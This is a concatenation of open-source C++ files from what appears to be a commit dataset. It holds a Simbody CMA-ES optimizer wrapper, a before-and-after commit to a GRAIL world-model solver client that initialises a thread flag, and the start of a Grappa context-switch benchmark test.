for *\n * Medical Research, grant U54 GM072970. See https:\/\/simtk.org\/home\/simbody. *\n * *\n * Portions copyright (c) 2006-14 Stanford University and the Authors. *\n * Authors: Chris Dembia *\n * Contributors: Michael Sherman, Nikolaus Hansen *\n * *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may *\n * not use this file except in compliance with the License. You may obtain a *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0. *\n * *\n * Unless required by applicable law or agreed to in writing, software *\n * distributed under the License is distributed on an \"AS IS\" BASIS, *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n * See the License for the specific language governing permissions and *\n * limitations under the License. *\n * -------------------------------------------------------------------------- *\/\n\n#include \"CMAESOptimizer.h\"\n\n#include <bitset>\n\nnamespace SimTK {\n\n#define SimTK_CMAES_PRINT(diag, cmds) \\\ndo { \\\nif (std::bitset<2>(diag).test(0)) { cmds; } \\\n} \\\nwhile(false)\n\n#define SimTK_CMAES_FILE(diag, cmds) \\\ndo { \\\nif (std::bitset<2>(diag).test(1)) { cmds; } \\\n} \\\nwhile(false)\n\nCMAESOptimizer::CMAESOptimizer(const OptimizerSystem& sys) : OptimizerRep(sys)\n{\n SimTK_VALUECHECK_ALWAYS(2, sys.getNumParameters(), INT_MAX, \"nParameters\",\n \"CMAESOptimizer\");\n}\n\nOptimizer::OptimizerRep* CMAESOptimizer::clone() const {\n return new CMAESOptimizer(*this);\n}\n\nReal CMAESOptimizer::optimize(SimTK::Vector& results)\n{ \n const OptimizerSystem& sys = getOptimizerSystem();\n int n = sys.getNumParameters();\n\n \/\/ Initialize objective function value and cmaes data structure.\n \/\/ =============================================================\n Real f; \n cmaes_t evo;\n\n \/\/ Check that the initial point is feasible.\n \/\/ =========================================\n checkInitialPointIsFeasible(results);\n \n \/\/ Initialize cmaes.\n \/\/ =================\n double* funvals = init(evo, results);\n SimTK_CMAES_PRINT(diagnosticsLevel, printf(\"%s\\n\", cmaes_SayHello(&evo)));\n \n \/\/ Optimize.\n \/\/ =========\n while (!cmaes_TestForTermination(&evo)) {\n\n \/\/ Sample a population.\n \/\/ ====================\n double*const* pop = cmaes_SamplePopulation(&evo);\n\n \/\/ Resample to keep population within limits.\n \/\/ ==========================================\n if( sys.getHasLimits() ) {\n Real *lowerLimits, *upperLimits;\n sys.getParameterLimits( &lowerLimits, &upperLimits );\n \n for (int i = 0; i < cmaes_Get(&evo, \"lambda\"); i++) {\n bool feasible = false; \n while (!feasible) {\n feasible = true; \n for (int j = 0; j < n; j++) {\n if (pop[i][j] < lowerLimits[j] || \n pop[i][j] > upperLimits[j]) {\n feasible = false; \n pop = cmaes_ReSampleSingle(&evo, i); \n break; \n }\n }\n }\n }\n }\n\n \/\/ Evaluate the objective function on the samples.\n \/\/ ===============================================\n for (int i = 0; i < cmaes_Get(&evo, \"lambda\"); i++) {\n objectiveFuncWrapper(n, pop[i], true, &funvals[i], this);\n }\n \n \/\/ Update the distribution (mean, covariance, etc.).\n \/\/ =================================================\n cmaes_UpdateDistribution(&evo, funvals);\n }\n\n \/\/ Wrap up.\n \/\/ ========\n SimTK_CMAES_PRINT(diagnosticsLevel,\n printf(\"Stop:\\n%s\\n\", cmaes_TestForTermination(&evo)));\n\n \/\/ Update best parameters and objective function value.\n const double* optx = cmaes_GetPtr(&evo, \"xbestever\");\n for (int i = 0; i < n; i++) {\n results[i] = optx[i]; \n }\n f = cmaes_Get(&evo, \"fbestever\");\n\n SimTK_CMAES_FILE(diagnosticsLevel,\n cmaes_WriteToFile(&evo, \"all\", \"allcmaes.dat\"));\n\n \/\/ Free memory.\n cmaes_exit(&evo);\n \n return f; \n}\n\nvoid CMAESOptimizer::checkInitialPointIsFeasible(const Vector& x) const {\n\n const OptimizerSystem& sys = getOptimizerSystem();\n\n if( sys.getHasLimits() ) {\n Real *lowerLimits, *upperLimits;\n sys.getParameterLimits( &lowerLimits, &upperLimits );\n for (int i = 0; i < sys.getNumParameters(); i++) {\n SimTK_APIARGCHECK4_ALWAYS(\n lowerLimits[i] <= x[i] && x[i] <= upperLimits[i],\n \"CMAESOptimizer\", \"checkInitialPointIsFeasible\",\n \"Initial guess results[%d] = %f \"\n \"is not within limits [%f, %f].\",\n i, x[i], lowerLimits[i], upperLimits[i]);\n }\n }\n}\n\ndouble* CMAESOptimizer::init(cmaes_t& evo, SimTK::Vector& results) const\n{\n const OptimizerSystem& sys = getOptimizerSystem();\n int n = sys.getNumParameters();\n\n \/\/ Prepare to call cmaes_init_para.\n \/\/ ================================\n\n \/\/ lambda\n \/\/ ------\n int lambda = 0;\n getAdvancedIntOption(\"lambda\", lambda);\n \n \/\/ sigma\n \/\/ -----\n double sigma = 0;\n double* stddev = NULL;\n Vector sigmaArray;\n if (getAdvancedRealOption(\"sigma\", sigma)) {\n sigmaArray.resize(n);\n for (int i = 0; i < n; i++) {\n sigmaArray[i] = sigma;\n }\n stddev = &sigmaArray[0];\n }\n\n \/\/ seed\n \/\/ ----\n int seed = 0;\n if (getAdvancedIntOption(\"seed\", seed)) {\n SimTK_VALUECHECK_NONNEG_ALWAYS(seed, \"seed\",\n \"CMAESOptimizer::processSettingsBeforeCMAESInit\");\n }\n\n \/\/ input parameter filename\n \/\/ ------------------------\n std::string input_parameter_filename = \"none\";\n SimTK_CMAES_FILE(diagnosticsLevel,\n input_parameter_filename = \"writeonly\";);\n\n \/\/ Call cmaes_init_para.\n \/\/ =====================\n \/\/ Here, we specify the subset of options that can be passed to\n \/\/ cmaes_init_para.\n cmaes_init_para(&evo,\n n, \/\/ dimension\n &results[0], \/\/ xstart\n stddev, \/\/ stddev\n seed, \/\/ seed\n lambda, \/\/ lambda\n input_parameter_filename.c_str() \/\/ input_parameter_filename\n ); \n\n \/\/ Set settings that are usually read in from cmaes_initials.par.\n \/\/ ==============================================================\n process_readpara_settings(evo);\n\n \/\/ Once we've updated settings in readpara_t, finalize the initialization.\n return cmaes_init_final(&evo);\n}\n\nvoid CMAESOptimizer::process_readpara_settings(cmaes_t& evo) const\n{\n \/\/ Termination criteria\n \/\/ ====================\n\n \/\/ stopMaxIter\n \/\/ -----------\n \/\/ maxIterations is a protected member variable of OptimizerRep.\n evo.sp.stopMaxIter = maxIterations;\n\n \/\/ stopTolFun\n \/\/ ----------\n \/\/ convergenceTolerance is a protected member variable of OptimizerRep.\n evo.sp.stopTolFun = convergenceTolerance;\n\n \/\/ stopMaxFunEvals\n \/\/ ---------------\n int stopMaxFunEvals;\n if (getAdvancedIntOption(\"stopMaxFunEvals\", stopMaxFunEvals)) {\n SimTK_VALUECHECK_NONNEG_ALWAYS(stopMaxFunEvals, \"stopMaxFunEvals\",\n \"CMAESOptimizer::processSettingsAfterCMAESInit\");\n evo.sp.stopMaxFunEvals = stopMaxFunEvals;\n }\n\n \/\/ stopFitness\n \/\/ -----------\n double stopFitness;\n if (getAdvancedRealOption(\"stopFitness\", stopFitness)) {\n evo.sp.stStopFitness.flg = 1;\n evo.sp.stStopFitness.val = stopFitness;\n }\n\n \/\/ stopTolFunHist\n \/\/ --------------\n double stopTolFunHist;\n if (getAdvancedRealOption(\"stopTolFunHist\", stopTolFunHist)) {\n evo.sp.stopTolFunHist = stopTolFunHist;\n }\n\n \/\/ stopTolX\n \/\/ --------\n double stopTolX;\n if (getAdvancedRealOption(\"stopTolX\", stopTolX)) {\n evo.sp.stopTolX = stopTolX;\n }\n\n \/\/ stopTolXFactor\n \/\/ --------------\n double stopTolUpXFactor;\n if (getAdvancedRealOption(\"stopTolUpXFactor\", stopTolUpXFactor)) {\n evo.sp.stopTolUpXFactor = stopTolUpXFactor;\n }\n\n \/\/ maxtime\n \/\/ =======\n double maxtime;\n if (getAdvancedRealOption(\"maxTimeFractionForEigendecomposition\", maxtime))\n {\n evo.sp.updateCmode.maxtime = maxtime;\n }\n}\n\n#undef SimTK_CMAES_PRINT\n#undef SimTK_CMAES_FILE\n\n} \/\/ namespace SimTK\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2012 Bernhard Firner and Rutgers University\n * All rights reserved.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA\n * or visit http:\/\/www.gnu.org\/licenses\/gpl-2.0.html\n *\/\n\n\/*******************************************************************************\n * This file defines a class that simplifies connecting to the world model\n * as a solver.\n ******************************************************************************\/\n\n#include \"solver_world_connection.hpp\"\n\n#include <algorithm>\n#include <iostream>\n#include <string>\n#include <tuple>\n#include <vector>\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n\n\/\/Send a handshake and a type declaration message.\nbool SolverWorldModel::reconnect() {\n \/\/Reset connection status and set to true after the handshake.\n _connected = false;\n if (s) {\n std::cout<<\"Connected to the GRAIL world model.\\n\";\n } else {\n \/\/Otherwise try to make a new connection\n ClientSocket s2(AF_INET, SOCK_STREAM, 0, port, ip);\n if (not s2) {\n std::cerr<<\"Failed to connect to the GRAIL world model.\\n\";\n return false;\n }\n else {\n s = std::move(s2);\n }\n }\n\n \/\/Try to get the handshake message\n {\n std::vector<unsigned char> handshake = world_model::solver::makeHandshakeMsg();\n\n \/\/Send the handshake message\n s.send(handshake);\n std::vector<unsigned char> raw_message(handshake.size());\n size_t length = s.receive(raw_message);\n\n \/\/Check if the handshake message failed\n if (not (length == handshake.size() and\n std::equal(handshake.begin(), handshake.end(), raw_message.begin()) )) {\n std::cerr<<\"Failure during solver handshake with world model.\\n\";\n return false;\n }\n }\n\n \/\/Send the type announcement message\n try {\n s.send(world_model::solver::makeTypeAnnounceMsg(types, origin));\n }\n catch (std::runtime_error err) {\n std::cerr<<\"Problem sending type announce message: \"<<err.what()<<'\\n';\n return false;\n }\n\n \/\/Clear the old thread if one was running\n if (running) {\n interrupted = true;\n on_demand_tracker.join();\n }\n\n ss.previous_unfinished.clear();\n running = true;\n interrupted = false;\n \/\/Start the on_demand status tracking thread\n on_demand_tracker = std::thread(std::mem_fun(&SolverWorldModel::trackOnDemands), this);\n _connected = true;\n return true;\n}\n\nstatic std::string toString(const std::u16string& str) {\n return std::string(str.begin(), str.end());\n}\n\nvoid SolverWorldModel::trackOnDemands() {\n using world_model::solver::MessageID;\n while (not interrupted) {\n std::vector<unsigned char> in_buff = ss.getNextMessage(interrupted);\n if (5 <= in_buff.size()) {\n MessageID message_type = (MessageID)in_buff[4];\n if (message_type == MessageID::start_on_demand) {\n std::vector<std::tuple<uint32_t, std::vector<std::u16string>>> trans =\n world_model::solver::decodeStartOnDemand(in_buff);\n std::unique_lock<std::mutex> lck(trans_mutex);\n for (auto I = trans.begin(); I != trans.end(); ++I) {\n std::cerr<<\"OnDemand \"<<std::get<0>(*I)<<\" has \"<<std::get<1>(*I).size()<<\" URI requests.\\n\";\n std::vector<std::u16string>& requests = std::get<1>(*I);\n for (std::u16string& request : requests) {\n \/\/Store the regex pattern sent by the world model.\n std::cerr<<\"Enabling on_demand: \"<<std::get<0>(*I)<<\" with string \"<<toString(request)<<'\\n';\n\n OnDemandArgs ta;\n ta.request = request;\n int err = regcomp(&ta.exp, toString(ta.request).c_str(), REG_EXTENDED);\n if (0 != err) {\n ta.valid = false;\n std::cerr<<\"Error compiling regular expression \"<<toString(ta.request)<<\" in on_demand request to solver client.\\n\";\n }\n else {\n ta.valid = true;\n }\n on_demand_on[std::get<0>(*I)].insert(ta);\n }\n }\n }\n else if (message_type == MessageID::stop_on_demand) {\n std::vector<std::tuple<uint32_t, std::vector<std::u16string>>> trans =\n world_model::solver::decodeStopOnDemand(in_buff);\n std::unique_lock<std::mutex> lck(trans_mutex);\n for (auto I = trans.begin(); I != trans.end(); ++I) {\n uint32_t attr_name = std::get<0>(*I);\n std::vector<std::u16string>& requests = std::get<1>(*I);\n for (std::u16string& request : requests) {\n \/\/Remove the regex that was sent by the world model\n std::cerr<<\"Disabling on_demand: \"<<attr_name<<\" with request \"<<toString(request)<<'\\n';\n if (on_demand_on.end() != on_demand_on.find(attr_name)) {\n std::multiset<OnDemandArgs>& uri_set = on_demand_on[attr_name];\n auto J = std::find_if(uri_set.begin(), uri_set.end(),\n [&](const OnDemandArgs& ta) { return ta.request == request;});\n if (J != uri_set.end()) {\n OnDemandArgs ta = *J;\n if (ta.valid) {\n regfree(&ta.exp);\n }\n uri_set.erase(J);\n }\n }\n }\n }\n }\n else if (message_type == MessageID::keep_alive) {\n \/\/Send a keep alive message in reply to a keep alive from\n \/\/the server. This makes sure that we are replying at less\n \/\/than the sever's timeout period.\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeKeepAlive());\n }\n }\n else {\n std::cerr<<\"Got an invalid sized message (size = \"<<in_buff.size()<<'\\n';\n }\n }\n}\n\nSolverWorldModel::SolverWorldModel(std::string ip, uint16_t port, std::vector<std::pair<std::u16string, bool>>& types, std::u16string origin) : s(AF_INET, SOCK_STREAM, 0, port, ip), ss(s) {\n this->origin = origin;\n \/\/Store the alias types that this solver will use\n for (auto I = types.begin(); I != types.end(); ++I) {\n world_model::solver::AliasType at{(uint32_t)(this->types.size()+1), I->first, I->second};\n this->types.push_back(at);\n aliases[at.type] = at.alias;\n if (I->second) {\n if (on_demand_on.end() == on_demand_on.find(at.alias)) {\n on_demand_on[at.alias] = std::multiset<OnDemandArgs>();\n }\n }\n }\n \/\/Store these values so that we can reconnect later\n this->ip = ip;\n this->port = port;\n\n reconnect();\n}\n\nSolverWorldModel::~SolverWorldModel() {\n if (running) {\n interrupted = true;\n on_demand_tracker.join();\n }\n}\n\nvoid SolverWorldModel::addTypes(std::vector<std::pair<std::u16string, bool>>& new_types) {\n \/\/Store the alias types that this solver will use\n\tstd::vector<world_model::solver::AliasType> new_aliases;\n for (auto I = new_types.begin(); I != new_types.end(); ++I) {\n world_model::solver::AliasType at{(uint32_t)(this->types.size()+1), I->first, I->second};\n this->types.push_back(at);\n aliases[at.type] = at.alias;\n if (I->second) {\n if (on_demand_on.end() == on_demand_on.find(at.alias)) {\n on_demand_on[at.alias] = std::multiset<OnDemandArgs>();\n }\n }\n\t\tnew_aliases.push_back(at);\n }\n \/\/Update the world model with a new type announcement message\n try {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeTypeAnnounceMsg(new_aliases, origin));\n }\n catch (std::runtime_error err) {\n std::cerr<<\"Problem sending type announce message: \"<<err.what()<<'\\n';\n }\n}\n\nbool SolverWorldModel::connected() {\n return _connected;\n}\n\nvoid SolverWorldModel::sendData(std::vector<AttrUpdate>& solution, bool create_uris) {\n using world_model::solver::SolutionData;\n std::vector<SolutionData> sds;\n for (auto I = solution.begin(); I != solution.end(); ++I) {\n std::unique_lock<std::mutex> lck(trans_mutex);\n if (aliases.end() != aliases.find(I->type)) {\n uint32_t alias = aliases[I->type];\n \/\/TODO Let the user check this themselves, it should be up to them\n \/\/whether or not to send data\n \/\/Send if this is not a on_demand or it is a on_demand but is requested\n if (on_demand_on.end() == on_demand_on.find(alias)) {\n SolutionData sd{alias, I->time, I->target, I->data};\n sds.push_back(sd);\n }\n else {\n \/\/Find if any patterns match this information\n if (std::any_of(on_demand_on[alias].begin(), on_demand_on[alias].end(),\n [&](const OnDemandArgs& ta) {\n if (not ta.valid) { return false;}\n regmatch_t pmatch;\n int match = regexec(&ta.exp, toString(I->target).c_str(), 1, &pmatch, 0);\n return (0 == match and 0 == pmatch.rm_so and I->target.size() == pmatch.rm_eo); })) {\n SolutionData sd{alias, I->time, I->target, I->data};\n sds.push_back(sd);\n }\n }\n }\n }\n\n \/\/Allow sending an empty message (if all of the solutions are unrequested\n \/\/on_demand solutions) to serve as a keep alive.\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeSolutionMsg(create_uris, sds));\n}\n\nvoid SolverWorldModel::createURI(world_model::URI uri, world_model::grail_time created) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeCreateURI(uri, created, origin));\n}\n\nvoid SolverWorldModel::expireURI(world_model::URI uri, world_model::grail_time expires) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeExpireURI(uri, expires, origin));\n}\n\nvoid SolverWorldModel::deleteURI(world_model::URI uri) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeDeleteURI(uri, origin));\n}\n\nvoid SolverWorldModel::expireURIAttribute(world_model::URI uri, std::u16string name, world_model::grail_time expires) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeExpireAttribute(uri, name, origin, expires));\n}\n\nvoid SolverWorldModel::deleteURIAttribute(world_model::URI uri, std::u16string name) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeDeleteAttribute(uri, name, origin));\n}\n\n\n<commit_msg>Initialize @running variable to false (no listening thread).<commit_after>\/*\n * Copyright (c) 2012 Bernhard Firner and Rutgers University\n * All rights reserved.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA\n * or visit http:\/\/www.gnu.org\/licenses\/gpl-2.0.html\n *\/\n\n\/*******************************************************************************\n * This file defines a class that simplifies connecting to the world model\n * as a solver.\n ******************************************************************************\/\n\n#include \"solver_world_connection.hpp\"\n\n#include <algorithm>\n#include <iostream>\n#include <string>\n#include <tuple>\n#include <vector>\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n\n\/\/Send a handshake and a type declaration message.\nbool SolverWorldModel::reconnect() {\n \/\/Reset connection status and set to true after the handshake.\n _connected = false;\n if (s) {\n std::cout<<\"Connected to the GRAIL world model.\\n\";\n } else {\n \/\/Otherwise try to make a new connection\n ClientSocket s2(AF_INET, SOCK_STREAM, 0, port, ip);\n if (not s2) {\n std::cerr<<\"Failed to connect to the GRAIL world model.\\n\";\n return false;\n }\n else {\n s = std::move(s2);\n }\n }\n\n \/\/Try to get the handshake message\n {\n std::vector<unsigned char> handshake = world_model::solver::makeHandshakeMsg();\n\n \/\/Send the handshake message\n s.send(handshake);\n std::vector<unsigned char> raw_message(handshake.size());\n size_t length = s.receive(raw_message);\n\n \/\/Check if the handshake message failed\n if (not (length == handshake.size() and\n std::equal(handshake.begin(), handshake.end(), raw_message.begin()) )) {\n std::cerr<<\"Failure during solver handshake with world model.\\n\";\n return false;\n }\n }\n\n \/\/Send the type announcement message\n try {\n s.send(world_model::solver::makeTypeAnnounceMsg(types, origin));\n }\n catch (std::runtime_error err) {\n std::cerr<<\"Problem sending type announce message: \"<<err.what()<<'\\n';\n return false;\n }\n\n \/\/Clear the old thread if one was running\n if (running) {\n interrupted = true;\n on_demand_tracker.join();\n }\n\n ss.previous_unfinished.clear();\n running = true;\n interrupted = false;\n \/\/Start the on_demand status tracking thread\n on_demand_tracker = std::thread(std::mem_fun(&SolverWorldModel::trackOnDemands), this);\n _connected = true;\n return true;\n}\n\nstatic std::string toString(const std::u16string& str) {\n return std::string(str.begin(), str.end());\n}\n\nvoid SolverWorldModel::trackOnDemands() {\n using world_model::solver::MessageID;\n while (not interrupted) {\n std::vector<unsigned char> in_buff = ss.getNextMessage(interrupted);\n if (5 <= in_buff.size()) {\n MessageID message_type = (MessageID)in_buff[4];\n if (message_type == MessageID::start_on_demand) {\n std::vector<std::tuple<uint32_t, std::vector<std::u16string>>> trans =\n world_model::solver::decodeStartOnDemand(in_buff);\n std::unique_lock<std::mutex> lck(trans_mutex);\n for (auto I = trans.begin(); I != trans.end(); ++I) {\n std::cerr<<\"OnDemand \"<<std::get<0>(*I)<<\" has \"<<std::get<1>(*I).size()<<\" URI requests.\\n\";\n std::vector<std::u16string>& requests = std::get<1>(*I);\n for (std::u16string& request : requests) {\n \/\/Store the regex pattern sent by the world model.\n std::cerr<<\"Enabling on_demand: \"<<std::get<0>(*I)<<\" with string \"<<toString(request)<<'\\n';\n\n OnDemandArgs ta;\n ta.request = request;\n int err = regcomp(&ta.exp, toString(ta.request).c_str(), REG_EXTENDED);\n if (0 != err) {\n ta.valid = false;\n std::cerr<<\"Error compiling regular expression \"<<toString(ta.request)<<\" in on_demand request to solver client.\\n\";\n }\n else {\n ta.valid = true;\n }\n on_demand_on[std::get<0>(*I)].insert(ta);\n }\n }\n }\n else if (message_type == MessageID::stop_on_demand) {\n std::vector<std::tuple<uint32_t, std::vector<std::u16string>>> trans =\n world_model::solver::decodeStopOnDemand(in_buff);\n std::unique_lock<std::mutex> lck(trans_mutex);\n for (auto I = trans.begin(); I != trans.end(); ++I) {\n uint32_t attr_name = std::get<0>(*I);\n std::vector<std::u16string>& requests = std::get<1>(*I);\n for (std::u16string& request : requests) {\n \/\/Remove the regex that was sent by the world model\n std::cerr<<\"Disabling on_demand: \"<<attr_name<<\" with request \"<<toString(request)<<'\\n';\n if (on_demand_on.end() != on_demand_on.find(attr_name)) {\n std::multiset<OnDemandArgs>& uri_set = on_demand_on[attr_name];\n auto J = std::find_if(uri_set.begin(), uri_set.end(),\n [&](const OnDemandArgs& ta) { return ta.request == request;});\n if (J != uri_set.end()) {\n OnDemandArgs ta = *J;\n if (ta.valid) {\n regfree(&ta.exp);\n }\n uri_set.erase(J);\n }\n }\n }\n }\n }\n else if (message_type == MessageID::keep_alive) {\n \/\/Send a keep alive message in reply to a keep alive from\n \/\/the server. This makes sure that we are replying at less\n \/\/than the sever's timeout period.\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeKeepAlive());\n }\n }\n else {\n std::cerr<<\"Got an invalid sized message (size = \"<<in_buff.size()<<'\\n';\n }\n }\n}\n\nSolverWorldModel::SolverWorldModel(std::string ip, uint16_t port, std::vector<std::pair<std::u16string, bool>>& types, std::u16string origin) : s(AF_INET, SOCK_STREAM, 0, port, ip), ss(s) {\n running = false;\n this->origin = origin;\n \/\/Store the alias types that this solver will use\n for (auto I = types.begin(); I != types.end(); ++I) {\n world_model::solver::AliasType at{(uint32_t)(this->types.size()+1), I->first, I->second};\n this->types.push_back(at);\n aliases[at.type] = at.alias;\n if (I->second) {\n if (on_demand_on.end() == on_demand_on.find(at.alias)) {\n on_demand_on[at.alias] = std::multiset<OnDemandArgs>();\n }\n }\n }\n \/\/Store these values so that we can reconnect later\n this->ip = ip;\n this->port = port;\n\n reconnect();\n}\n\nSolverWorldModel::~SolverWorldModel() {\n if (running) {\n interrupted = true;\n on_demand_tracker.join();\n }\n}\n\nvoid SolverWorldModel::addTypes(std::vector<std::pair<std::u16string, bool>>& new_types) {\n \/\/Store the alias types that this solver will use\n\tstd::vector<world_model::solver::AliasType> new_aliases;\n for (auto I = new_types.begin(); I != new_types.end(); ++I) {\n world_model::solver::AliasType at{(uint32_t)(this->types.size()+1), I->first, I->second};\n this->types.push_back(at);\n aliases[at.type] = at.alias;\n if (I->second) {\n if (on_demand_on.end() == on_demand_on.find(at.alias)) {\n on_demand_on[at.alias] = std::multiset<OnDemandArgs>();\n }\n }\n\t\tnew_aliases.push_back(at);\n }\n \/\/Update the world model with a new type announcement message\n try {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeTypeAnnounceMsg(new_aliases, origin));\n }\n catch (std::runtime_error err) {\n std::cerr<<\"Problem sending type announce message: \"<<err.what()<<'\\n';\n }\n}\n\nbool SolverWorldModel::connected() {\n return _connected;\n}\n\nvoid SolverWorldModel::sendData(std::vector<AttrUpdate>& solution, bool create_uris) {\n using world_model::solver::SolutionData;\n std::vector<SolutionData> sds;\n for (auto I = solution.begin(); I != solution.end(); ++I) {\n std::unique_lock<std::mutex> lck(trans_mutex);\n if (aliases.end() != aliases.find(I->type)) {\n uint32_t alias = aliases[I->type];\n \/\/TODO Let the user check this themselves, it should be up to them\n \/\/whether or not to send data\n \/\/Send if this is not a on_demand or it is a on_demand but is requested\n if (on_demand_on.end() == on_demand_on.find(alias)) {\n SolutionData sd{alias, I->time, I->target, I->data};\n sds.push_back(sd);\n }\n else {\n \/\/Find if any patterns match this information\n if (std::any_of(on_demand_on[alias].begin(), on_demand_on[alias].end(),\n [&](const OnDemandArgs& ta) {\n if (not ta.valid) { return false;}\n regmatch_t pmatch;\n int match = regexec(&ta.exp, toString(I->target).c_str(), 1, &pmatch, 0);\n return (0 == match and 0 == pmatch.rm_so and I->target.size() == pmatch.rm_eo); })) {\n SolutionData sd{alias, I->time, I->target, I->data};\n sds.push_back(sd);\n }\n }\n }\n }\n\n \/\/Allow sending an empty message (if all of the solutions are unrequested\n \/\/on_demand solutions) to serve as a keep alive.\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeSolutionMsg(create_uris, sds));\n}\n\nvoid SolverWorldModel::createURI(world_model::URI uri, world_model::grail_time created) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeCreateURI(uri, created, origin));\n}\n\nvoid SolverWorldModel::expireURI(world_model::URI uri, world_model::grail_time expires) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeExpireURI(uri, expires, origin));\n}\n\nvoid SolverWorldModel::deleteURI(world_model::URI uri) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeDeleteURI(uri, origin));\n}\n\nvoid SolverWorldModel::expireURIAttribute(world_model::URI uri, std::u16string name, world_model::grail_time expires) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeExpireAttribute(uri, name, origin, expires));\n}\n\nvoid SolverWorldModel::deleteURIAttribute(world_model::URI uri, std::u16string name) {\n std::unique_lock<std::mutex> lck(send_mutex);\n s.send(world_model::solver::makeDeleteAttribute(uri, name, origin));\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ Copyright 2010-2012 University of Washington. All Rights Reserved.\n\/\/ LICENSE_PLACEHOLDER\n\/\/ This software was created with Government support under DE\n\/\/ AC05-76RL01830 awarded by the United States Department of\n\/\/ Energy. The Government has certain rights in the software.\n\n#include <boost\/test\/unit_test.hpp>\n\n#include \"Grappa.hpp\"\n#include \"CompletionEvent.hpp\"\n#include \"ParallelLoop.hpp\"\n#include \"Collective.hpp\"\n\n#include <string>\n\nDECLARE_uint64( num_starting_workers );\nDEFINE_uint64( num_test_workers, 4, \"Number of workers for the tests\");\nDEFINE_uint64( iters_per_task, 10000, \"Iterations per task\" );\nDEFINE_string( test_type, \"yields\", \"options: {yields,sequential_updates, sequential_updates16\" ); \nDEFINE_uint64( private_array_size, 1, \"Size of private array of 8-bytes for each task\" );\n\nusing namespace Grappa;\n\nCompletionEvent * final;\nCompletionEvent * task_barrier;\n\nstruct SixteenBytes {\n uint64_t val1;\n uint64_t val2;\n};\n\nstruct Cacheline {\n uint64_t val;\n char padding[56];\n};\n\nuint64_t * values8;\nSixteenBytes * values16;\n\n\n\/\/ core-shared counter for counting progress\nuint64_t numst;\nuint64_t waitCount;\nbool running;\n\n\nBOOST_AUTO_TEST_SUITE( ContextSwitchRate_tests );\n\nvoid user_main( void * args ) {\n srand((unsigned int)Grappa_walltime());\n\n \/\/ must have enough threads because they all join a barrier\n BOOST_CHECK( FLAGS_num_test_workers < FLAGS_num_starting_workers );\n\n if (FLAGS_test_type.compare(\"yields\")==0) {\n BOOST_MESSAGE( \"Test yields\" );\n {\n struct runtimes_t {\n double runtime_avg, runtime_min, runtime_max;\n };\n runtimes_t r;\n \n on_all_cores( [&r] {\n \/\/ per core timing\n double start, end;\n bool started = false;\n\n final = new CompletionEvent(FLAGS_num_test_workers);\n task_barrier = new CompletionEvent(FLAGS_num_test_workers);\n\n for ( uint64_t t=0; t<FLAGS_num_test_workers; t++ ) {\n privateTask( [&started,&start] {\n \/\/ wait for all to start (to hack scheduler yield)\n task_barrier->complete();\n task_barrier->wait();\n\n \/\/ first task to exit the local barrier will start the timer\n if ( !started ) {\n start = Grappa_walltime();\n started = true;\n }\n\n \/\/ do the work\n for ( uint64_t i=0; i<FLAGS_iters_per_task; i++ ) { \n Grappa_yield();\n }\n\n final->complete();\n });\n }\n \n BOOST_MESSAGE( \"waiting\" );\n final->wait();\n end = Grappa_walltime();\n double runtime = end-start;\n BOOST_MESSAGE( \"took time \" << runtime );\n\n Grappa::barrier();\n BOOST_MESSAGE( \"all done\" );\n\n \/\/ sort out timing \n\n double r_sum = Grappa::allreduce<double, collective_add>( runtime );\n double r_min = Grappa::allreduce<double, collective_min>( runtime );\n double r_max = Grappa::allreduce<double, collective_max>( runtime );\n if ( Grappa::mycore()==0 ) {\n r.runtime_avg = r_sum \/ Grappa::cores();\n r.runtime_min = r_min;\n r.runtime_max = r_max;\n }\n });\n\n BOOST_MESSAGE( \"cores_time_avg = \" << r.runtime_avg\n << \", cores_time_max = \" << r.runtime_max\n << \", cores_time_min = \" << r.runtime_min);\n }\n } else if (FLAGS_test_type.compare(\"cvwakes\")==0) {\n BOOST_MESSAGE( \"Test cv wakes\" );\n {\n struct runtimes_t {\n double runtime_avg, runtime_min, runtime_max;\n };\n runtimes_t r;\n\n 